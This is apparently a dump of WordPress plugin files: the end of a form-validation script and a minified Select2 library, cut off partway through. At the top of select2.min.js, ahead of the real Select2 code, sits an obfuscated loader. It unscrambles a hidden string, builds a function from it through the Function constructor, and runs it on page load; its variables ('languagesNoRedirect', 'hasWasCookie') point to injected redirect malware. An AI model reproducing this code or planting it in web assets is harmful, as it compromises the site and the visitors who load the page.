TWINE_FORM_VALIDATION.console_log( spacer + obj_name, obj, true );
}
}
}
};
// end of TWINE_FORM_VALIDATION object
//always setup default validation stuff
TWINE_FORM_VALIDATION.set_validation_defaults();
//conditionally initialize the form (other code may want to control this though)
if(
typeof( twine_form_section_validation_init ) !== 'undefined'
&& twine_form_section_validation_init.init === '1'
&& typeof( twine_form_section_vars ) !== 'undefined'
) {
TWINE_FORM_VALIDATION.initialize( twine_form_section_vars.form_data );
}
});
Twine/assets/scripts/select2.min.js 0000444 00000212434 14666776752 0013342 0 ustar 00 var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=function(b,c){return void 0===c&&(c="undefined"!=typeof window?require("jquery"):require("jquery")(b)),a(c),c}:a(jQuery)}(function(a){var b=function(){if(a&&a.fn&&a.fn.select2&&a.fn.select2.amd)var b=a.fn.select2.amd;var b;return function(){if(!b||!b.requirejs){b?c=b:b={};var a,c,d;!function(b){function e(a,b){return v.call(a,b)}function f(a,b){var c,d,e,f,g,h,i,j,k,l,m,n,o=b&&b.split("/"),p=t.map,q=p&&p["*"]||{};if(a){for(a=a.split("/"),g=a.length-1,t.nodeIdCompat&&x.test(a[g])&&(a[g]=a[g].replace(x,"")),"."===a[0].charAt(0)&&o&&(n=o.slice(0,o.length-1),a=n.concat(a)),k=0;k<a.length;k++)if("."===(m=a[k]))a.splice(k,1),k-=1;else if(".."===m){if(0===k||1===k&&".."===a[2]||".."===a[k-1])continue;k>0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}if((o||q)&&p){for(c=a.split("/"),k=c.length;k>0;k-=1){if(d=c.slice(0,k).join("/"),o)for(l=o.length;l>0;l-=1)if((e=p[o.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&q&&q[d]&&(i=q[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.splice(0,h,f),a=c.join("/"))}return a}function g(a,c){return function(){var d=w.call(arguments,0);return"string"!=typeof d[0]&&1===d.length&&d.push(null),o.apply(b,d.concat([a,c]))}}function h(a){return function(b){return f(b,a)}}function i(a){return function(b){r[a]=b}}function j(a){if(e(s,a)){var c=s[a];delete s[a],u[a]=!0,n.apply(b,c)}if(!e(r,a)&&!e(u,a))throw new Error("No "+a);return r[a]}function k(a){var b,c=a?a.indexOf("!"):-1;return c>-1&&(b=a.substring(0,c),a=a.substring(c+1,a.length)),[b,a]}function l(a){return a?k(a):[]}function m(a){return function(){return t&&t.config&&t.config[a]||{}}}var n,o,p,q,r={},s={},t={},u={},v=Object.prototype.hasOwnProperty,w=[].slice,x=/\.js$/;p=function(a,b){var c,d=k(a),e=d[0],g=b[1];return a=d[1],e&&(e=f(e,g),c=j(e)),e?a=c&&c.normalize?c.normalize(a,h(g)):f(a,g):(a=f(a,g),d=k(a),e=d[0],a=d[1],e&&(c=j(e))),{f:e?e+"!"+a:a,n:a,pr:e,p:c}},q={require:function(a){return g(a)},exports:function(a){var b=r[a];return void 0!==b?b:r[a]={}},module:function(a){return{id:a,uri:"",exports:r[a],config:m(a)}}},n=function(a,c,d,f){var h,k,m,n,o,t,v,w=[],x=typeof d;if(f=f||a,t=l(f),"undefined"===x||"function"===x){for(c=!c.length&&d.length?["require","exports","module"]:c,o=0;o<c.length;o+=1)if(n=p(c[o],t),"require"===(k=n.f))w[o]=q.require(a);else if("exports"===k)w[o]=q.exports(a),v=!0;else if("module"===k)h=w[o]=q.module(a);else if(e(r,k)||e(s,k)||e(u,k))w[o]=j(k);else{if(!n.p)throw new Error(a+" missing "+k);n.p.load(n.n,g(f,!0),i(k),{}),w[o]=r[k]}m=d?d.apply(r[a],w):void 0,a&&(h&&h.exports!==b&&h.exports!==r[a]?r[a]=h.exports:m===b&&v||(r[a]=m))}else a&&(r[a]=d)},a=c=o=function(a,c,d,e,f){if("string"==typeof a)return q[a]?q[a](c):j(p(a,l(c)).f);if(!a.splice){if(t=a,t.deps&&o(t.deps,t.callback),!c)return;c.splice?(a=c,c=d,d=null):a=b}return c=c||function(){},"function"==typeof d&&(d=e,e=f),e?n(b,a,c,d):setTimeout(function(){n(b,a,c,d)},4),o},o.config=function(a){return o(a)},a._defined=r,d=function(a,b,c){if("string"!=typeof a)throw new Error("See almond README: incorrect module build, no module name");b.splice||(c=b,b=[]),e(r,a)||e(s,a)||(s[a]=[a,b,c])},d.amd={jQuery:!0}}(),b.requirejs=a,b.require=c,b.define=d}}(),b.define("almond",function(){}),b.define("jquery",[],function(){var b=a||$;return null==b&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),b}),b.define("select2/utils",["jquery"],function(a){function b(a){var b=a.prototype,c=[];for(var d in b){"function"==typeof b[d]&&("constructor"!==d&&c.push(d))}return c}var c={};c.Extend=function(a,b){function c(){this.constructor=a}var d={}.hasOwnProperty;for(var e in b)d.call(b,e)&&(a[e]=b[e]);return c.prototype=b.prototype,a.prototype=new c,a.__super__=b.prototype,a},c.Decorate=function(a,c){function d(){var b=Array.prototype.unshift,d=c.prototype.constructor.length,e=a.prototype.constructor;d>0&&(b.call(arguments,a.prototype.constructor),e=c.prototype.constructor),e.apply(this,arguments)}function e(){this.constructor=d}var f=b(c),g=b(a);c.displayName=a.displayName,d.prototype=new e;for(var h=0;h<g.length;h++){var i=g[h];d.prototype[i]=a.prototype[i]}for(var j=(function(a){var b=function(){};a in d.prototype&&(b=d.prototype[a]);var e=c.prototype[a];return function(){return Array.prototype.unshift.call(arguments,b),e.apply(this,arguments)}}),k=0;k<f.length;k++){var l=f[k];d.prototype[l]=j(l)}return d};var d=function(){this.listeners={}};d.prototype.on=function(a,b){this.listeners=this.listeners||{},a in this.listeners?this.listeners[a].push(b):this.listeners[a]=[b]},d.prototype.trigger=function(a){var b=Array.prototype.slice,c=b.call(arguments,1);this.listeners=this.listeners||{},null==c&&(c=[]),0===c.length&&c.push({}),c[0]._type=a,a in this.listeners&&this.invoke(this.listeners[a],b.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},d.prototype.invoke=function(a,b){for(var c=0,d=a.length;c<d;c++)a[c].apply(this,b)},c.Observable=d,c.generateChars=function(a){for(var b="",c=0;c<a;c++){b+=Math.floor(36*Math.random()).toString(36)}return b},c.bind=function(a,b){return function(){a.apply(b,arguments)}},c._convertData=function(a){for(var b in a){var c=b.split("-"),d=a;if(1!==c.length){for(var e=0;e<c.length;e++){var f=c[e];f=f.substring(0,1).toLowerCase()+f.substring(1),f in d||(d[f]={}),e==c.length-1&&(d[f]=a[b]),d=d[f]}delete a[b]}}return a},c.hasScroll=function(b,c){var d=a(c),e=c.style.overflowX,f=c.style.overflowY;return(e!==f||"hidden"!==f&&"visible"!==f)&&("scroll"===e||"scroll"===f||(d.innerHeight()<c.scrollHeight||d.innerWidth()<c.scrollWidth))},c.escapeMarkup=function(a){var b={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return"string"!=typeof a?a:String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})},c.appendMany=function(b,c){if("1.7"===a.fn.jquery.substr(0,3)){var d=a();a.map(c,function(a){d=d.add(a)}),c=d}b.append(c)},c.__cache={};var e=0;return c.GetUniqueElementId=function(a){var b=a.getAttribute("data-select2-id");return null==b&&(a.id?(b=a.id,a.setAttribute("data-select2-id",b)):(a.setAttribute("data-select2-id",++e),b=e.toString())),b},c.StoreData=function(a,b,d){var e=c.GetUniqueElementId(a);c.__cache[e]||(c.__cache[e]={}),c.__cache[e][b]=d},c.GetData=function(b,d){var e=c.GetUniqueElementId(b);return d?c.__cache[e]&&null!=c.__cache[e][d]?c.__cache[e][d]:a(b).data(d):c.__cache[e]},c.RemoveData=function(a){var b=c.GetUniqueElementId(a);null!=c.__cache[b]&&delete c.__cache[b]},c}),b.define("select2/results",["jquery","./utils"],function(a,b){function c(a,b,d){this.$element=a,this.data=d,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<ul class="select2-results__options" role="tree"></ul>');return this.options.get("multiple")&&b.attr("aria-multiselectable","true"),this.$results=b,b},c.prototype.clear=function(){this.$results.empty()},c.prototype.displayMessage=function(b){var c=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var d=a('<li role="treeitem" aria-live="assertive" class="select2-results__option"></li>'),e=this.options.get("translations").get(b.message);d.append(c(e(b.args))),d[0].className+=" select2-results__message",this.$results.append(d)},c.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},c.prototype.append=function(a){this.hideLoading();var b=[];if(null==a.results||0===a.results.length)return void(0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"}));a.results=this.sort(a.results);for(var c=0;c<a.results.length;c++){var d=a.results[c],e=this.option(d);b.push(e)}this.$results.append(b)},c.prototype.position=function(a,b){b.find(".select2-results").append(a)},c.prototype.sort=function(a){return this.options.get("sorter")(a)},c.prototype.highlightFirstItem=function(){var a=this.$results.find(".select2-results__option[aria-selected]"),b=a.filter("[aria-selected=true]");b.length>0?b.first().trigger("mouseenter"):a.first().trigger("mouseenter"),this.ensureHighlightVisible()},c.prototype.setClasses=function(){var c=this;this.data.current(function(d){var e=a.map(d,function(a){return a.id.toString()});c.$results.find(".select2-results__option[aria-selected]").each(function(){var c=a(this),d=b.GetData(this,"data"),f=""+d.id;null!=d.element&&d.element.selected||null==d.element&&a.inArray(f,e)>-1?c.attr("aria-selected","true"):c.attr("aria-selected","false")})})},c.prototype.showLoading=function(a){this.hideLoading();var b=this.options.get("translations").get("searching"),c={disabled:!0,loading:!0,text:b(a)},d=this.option(c);d.className+=" loading-results",this.$results.prepend(d)},c.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},c.prototype.option=function(c){var d=document.createElement("li");d.className="select2-results__option";var e={role:"treeitem","aria-selected":"false"};c.disabled&&(delete e["aria-selected"],e["aria-disabled"]="true"),null==c.id&&delete e["aria-selected"],null!=c._resultId&&(d.id=c._resultId),c.title&&(d.title=c.title),c.children&&(e.role="group",e["aria-label"]=c.text,delete e["aria-selected"]);for(var f in e){var g=e[f];d.setAttribute(f,g)}if(c.children){var h=a(d),i=document.createElement("strong");i.className="select2-results__group";a(i);this.template(c,i);for(var j=[],k=0;k<c.children.length;k++){var l=c.children[k],m=this.option(l);j.push(m)}var n=a("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});n.append(j),h.append(i),h.append(n)}else this.template(c,d);return b.StoreData(d,"data",c),d},c.prototype.bind=function(c,d){var e=this,f=c.id+"-results";this.$results.attr("id",f),c.on("results:all",function(a){e.clear(),e.append(a.data),c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("results:append",function(a){e.append(a.data),c.isOpen()&&e.setClasses()}),c.on("query",function(a){e.hideMessages(),e.showLoading(a)}),c.on("select",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("unselect",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("open",function(){e.$results.attr("aria-expanded","true"),e.$results.attr("aria-hidden","false"),e.setClasses(),e.ensureHighlightVisible()}),c.on("close",function(){e.$results.attr("aria-expanded","false"),e.$results.attr("aria-hidden","true"),e.$results.removeAttr("aria-activedescendant")}),c.on("results:toggle",function(){var a=e.getHighlightedResults();0!==a.length&&a.trigger("mouseup")}),c.on("results:select",function(){var a=e.getHighlightedResults();if(0!==a.length){var c=b.GetData(a[0],"data");"true"==a.attr("aria-selected")?e.trigger("close",{}):e.trigger("select",{data:c})}}),c.on("results:previous",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a);if(!(c<=0)){var d=c-1;0===a.length&&(d=0);var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top,h=f.offset().top,i=e.$results.scrollTop()+(h-g);0===d?e.$results.scrollTop(0):h-g<0&&e.$results.scrollTop(i)}}),c.on("results:next",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a),d=c+1;if(!(d>=b.length)){var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top+e.$results.outerHeight(!1),h=f.offset().top+f.outerHeight(!1),i=e.$results.scrollTop()+h-g;0===d?e.$results.scrollTop(0):h>g&&e.$results.scrollTop(i)}}),c.on("results:focus",function(a){a.element.addClass("select2-results__option--highlighted")}),c.on("results:message",function(a){e.displayMessage(a)}),a.fn.mousewheel&&this.$results.on("mousewheel",function(a){var b=e.$results.scrollTop(),c=e.$results.get(0).scrollHeight-b+a.deltaY,d=a.deltaY>0&&b-a.deltaY<=0,f=a.deltaY<0&&c<=e.$results.height();d?(e.$results.scrollTop(0),a.preventDefault(),a.stopPropagation()):f&&(e.$results.scrollTop(e.$results.get(0).scrollHeight-e.$results.height()),a.preventDefault(),a.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(c){var d=a(this),f=b.GetData(this,"data");if("true"===d.attr("aria-selected"))return void(e.options.get("multiple")?e.trigger("unselect",{originalEvent:c,data:f}):e.trigger("close",{}));e.trigger("select",{originalEvent:c,data:f})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(c){var d=b.GetData(this,"data");e.getHighlightedResults().removeClass("select2-results__option--highlighted"),e.trigger("results:focus",{data:d,element:a(this)})})},c.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},c.prototype.destroy=function(){this.$results.remove()},c.prototype.ensureHighlightVisible=function(){var a=this.getHighlightedResults();if(0!==a.length){var b=this.$results.find("[aria-selected]"),c=b.index(a),d=this.$results.offset().top,e=a.offset().top,f=this.$results.scrollTop()+(e-d),g=e-d;f-=2*a.outerHeight(!1),c<=2?this.$results.scrollTop(0):(g>this.$results.outerHeight()||g<0)&&this.$results.scrollTop(f)}},c.prototype.template=function(b,c){var d=this.options.get("templateResult"),e=this.options.get("escapeMarkup"),f=d(b,c);null==f?c.style.display="none":"string"==typeof f?c.innerHTML=e(f):a(c).append(f)},c}),b.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),b.define("select2/selection/base",["jquery","../utils","../keys"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,b.Observable),d.prototype.render=function(){var c=a('<span class="select2-selection" role="combobox" aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=b.GetData(this.$element[0],"old-tabindex")?this._tabindex=b.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),c.attr("title",this.$element.attr("title")),c.attr("tabindex",this._tabindex),this.$selection=c,c},d.prototype.bind=function(a,b){var d=this,e=(a.id,a.id+"-results");this.container=a,this.$selection.on("focus",function(a){d.trigger("focus",a)}),this.$selection.on("blur",function(a){d._handleBlur(a)}),this.$selection.on("keydown",function(a){d.trigger("keypress",a),a.which===c.SPACE&&a.preventDefault()}),a.on("results:focus",function(a){d.$selection.attr("aria-activedescendant",a.data._resultId)}),a.on("selection:update",function(a){d.update(a.data)}),a.on("open",function(){d.$selection.attr("aria-expanded","true"),d.$selection.attr("aria-owns",e),d._attachCloseHandler(a)}),a.on("close",function(){d.$selection.attr("aria-expanded","false"),d.$selection.removeAttr("aria-activedescendant"),d.$selection.removeAttr("aria-owns"),d.$selection.focus(),window.setTimeout(function(){d.$selection.focus()},0),d._detachCloseHandler(a)}),a.on("enable",function(){d.$selection.attr("tabindex",d._tabindex)}),a.on("disable",function(){d.$selection.attr("tabindex","-1")})},d.prototype._handleBlur=function(b){var c=this;window.setTimeout(function(){document.activeElement==c.$selection[0]||a.contains(c.$selection[0],document.activeElement)||c.trigger("blur",b)},1)},d.prototype._attachCloseHandler=function(c){a(document.body).on("mousedown.select2."+c.id,function(c){var d=a(c.target),e=d.closest(".select2");a(".select2.select2-container--open").each(function(){a(this),this!=e[0]&&b.GetData(this,"element").select2("close")})})},d.prototype._detachCloseHandler=function(b){a(document.body).off("mousedown.select2."+b.id)},d.prototype.position=function(a,b){b.find(".selection").append(a)},d.prototype.destroy=function(){this._detachCloseHandler(this.container)},d.prototype.update=function(a){throw new Error("The `update` method must be defined in child classes.")},d}),b.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(a,b,c,d){function e(){e.__super__.constructor.apply(this,arguments)}return c.Extend(e,b),e.prototype.render=function(){var a=e.__super__.render.call(this);return a.addClass("select2-selection--single"),a.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),a},e.prototype.bind=function(a,b){var c=this;e.__super__.bind.apply(this,arguments);var d=a.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",d).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",d),this.$selection.on("mousedown",function(a){1===a.which&&c.trigger("toggle",{originalEvent:a})}),this.$selection.on("focus",function(a){}),this.$selection.on("blur",function(a){}),a.on("focus",function(b){a.isOpen()||c.$selection.focus()})},e.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},e.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},e.prototype.selectionContainer=function(){return a("<span></span>")},e.prototype.update=function(a){if(0===a.length)return void this.clear();var b=a[0],c=this.$selection.find(".select2-selection__rendered"),d=this.display(b,c);c.empty().append(d),c.attr("title",b.title||b.text)},e}),b.define("select2/selection/multiple",["jquery","./base","../utils"],function(a,b,c){function d(a,b){d.__super__.constructor.apply(this,arguments)}return c.Extend(d,b),d.prototype.render=function(){var a=d.__super__.render.call(this);return a.addClass("select2-selection--multiple"),a.html('<ul class="select2-selection__rendered"></ul>'),a},d.prototype.bind=function(b,e){var f=this;d.__super__.bind.apply(this,arguments),this.$selection.on("click",function(a){f.trigger("toggle",{originalEvent:a})}),this.$selection.on("click",".select2-selection__choice__remove",function(b){if(!f.options.get("disabled")){var d=a(this),e=d.parent(),g=c.GetData(e[0],"data");f.trigger("unselect",{originalEvent:b,data:g})}})},d.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},d.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},d.prototype.selectionContainer=function(){return a('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">×</span></li>')},d.prototype.update=function(a){if(this.clear(),0!==a.length){for(var b=[],d=0;d<a.length;d++){var e=a[d],f=this.selectionContainer(),g=this.display(e,f);f.append(g),f.attr("title",e.title||e.text),c.StoreData(f[0],"data",e),b.push(f)}var h=this.$selection.find(".select2-selection__rendered");c.appendMany(h,b)}},d}),b.define("select2/selection/placeholder",["../utils"],function(a){function b(a,b,c){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c)}return b.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},b.prototype.createPlaceholder=function(a,b){var c=this.selectionContainer();return c.html(this.display(b)),c.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),c},b.prototype.update=function(a,b){var c=1==b.length&&b[0].id!=this.placeholder.id;if(b.length>1||c)return a.call(this,b);this.clear();var d=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(d)},b}),b.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(a,b,c){function d(){}return d.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(a){d._handleClear(a)}),b.on("keypress",function(a){d._handleKeyboardClear(a,b)})},d.prototype._handleClear=function(a,b){if(!this.options.get("disabled")){var d=this.$selection.find(".select2-selection__clear");if(0!==d.length){b.stopPropagation();var e=c.GetData(d[0],"data"),f=this.$element.val();this.$element.val(this.placeholder.id);var g={data:e};if(this.trigger("clear",g),g.prevented)return void this.$element.val(f);for(var h=0;h<e.length;h++)if(g={data:e[h]},this.trigger("unselect",g),g.prevented)return void this.$element.val(f);this.$element.trigger("change"),this.trigger("toggle",{})}}},d.prototype._handleKeyboardClear=function(a,c,d){d.isOpen()||c.which!=b.DELETE&&c.which!=b.BACKSPACE||this._handleClear(c)},d.prototype.update=function(b,d){if(b.call(this,d),!(this.$selection.find(".select2-selection__placeholder").length>0||0===d.length)){var e=a('<span class="select2-selection__clear">×</span>');c.StoreData(e[0],"data",d),this.$selection.find(".select2-selection__rendered").prepend(e)}},d}),b.define("select2/selection/search",["jquery","../utils","../keys"],function(a,b,c){function d(a,b,c){a.call(this,b,c)}return d.prototype.render=function(b){var c=a('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" aria-autocomplete="list" /></li>');this.$searchContainer=c,this.$search=c.find("input");var d=b.call(this);return this._transferTabIndex(),d},d.prototype.bind=function(a,d,e){var f=this;a.call(this,d,e),d.on("open",function(){f.$search.trigger("focus")}),d.on("close",function(){f.$search.val(""),f.$search.removeAttr("aria-activedescendant"),f.$search.trigger("focus")}),d.on("enable",function(){f.$search.prop("disabled",!1),f._transferTabIndex()}),d.on("disable",function(){f.$search.prop("disabled",!0)}),d.on("focus",function(a){f.$search.trigger("focus")}),d.on("results:focus",function(a){f.$search.attr("aria-activedescendant",a.id)}),this.$selection.on("focusin",".select2-search--inline",function(a){f.trigger("focus",a)}),this.$selection.on("focusout",".select2-search--inline",function(a){f._handleBlur(a)}),this.$selection.on("keydown",".select2-search--inline",function(a){if(a.stopPropagation(),f.trigger("keypress",a),f._keyUpPrevented=a.isDefaultPrevented(),a.which===c.BACKSPACE&&""===f.$search.val()){var d=f.$searchContainer.prev(".select2-selection__choice");if(d.length>0){var e=b.GetData(d[0],"data");f.searchRemoveChoice(e),a.preventDefault()}}});var g=document.documentMode,h=g&&g<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(a){if(h)return void f.$selection.off("input.search input.searchcheck");f.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(a){if(h&&"input"===a.type)return void f.$selection.off("input.search input.searchcheck");var b=a.which;b!=c.SHIFT&&b!=c.CTRL&&b!=c.ALT&&b!=c.TAB&&f.handleSearch(a)})},d.prototype._transferTabIndex=function(a){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},d.prototype.createPlaceholder=function(a,b){this.$search.attr("placeholder",b.text)},d.prototype.update=function(a,b){var c=this.$search[0]==document.activeElement;if(this.$search.attr("placeholder",""),a.call(this,b),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),c){this.$element.find("[data-select2-tag]").length?this.$element.focus():this.$search.focus()}},d.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var a=this.$search.val();this.trigger("query",{term:a})}this._keyUpPrevented=!1},d.prototype.searchRemoveChoice=function(a,b){this.trigger("unselect",{data:b}),this.$search.val(b.text),this.handleSearch()},d.prototype.resizeSearch=function(){this.$search.css("width","25px");var a="";if(""!==this.$search.attr("placeholder"))a=this.$selection.find(".select2-selection__rendered").innerWidth();else{a=.75*(this.$search.val().length+1)+"em"}this.$search.css("width",a)},d}),b.define("select2/selection/eventRelay",["jquery"],function(a){function b(){}return b.prototype.bind=function(b,c,d){var e=this,f=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],g=["opening","closing","selecting","unselecting","clearing"];b.call(this,c,d),c.on("*",function(b,c){if(-1!==a.inArray(b,f)){c=c||{};var d=a.Event("select2:"+b,{params:c});e.$element.trigger(d),-1!==a.inArray(b,g)&&(c.prevented=d.isDefaultPrevented())}})},b}),b.define("select2/translation",["jquery","require"],function(a,b){function c(a){this.dict=a||{}}return c.prototype.all=function(){return this.dict},c.prototype.get=function(a){return this.dict[a]},c.prototype.extend=function(b){this.dict=a.extend({},b.all(),this.dict)},c._cache={},c.loadPath=function(a){if(!(a in c._cache)){var d=b(a);c._cache[a]=d}return new 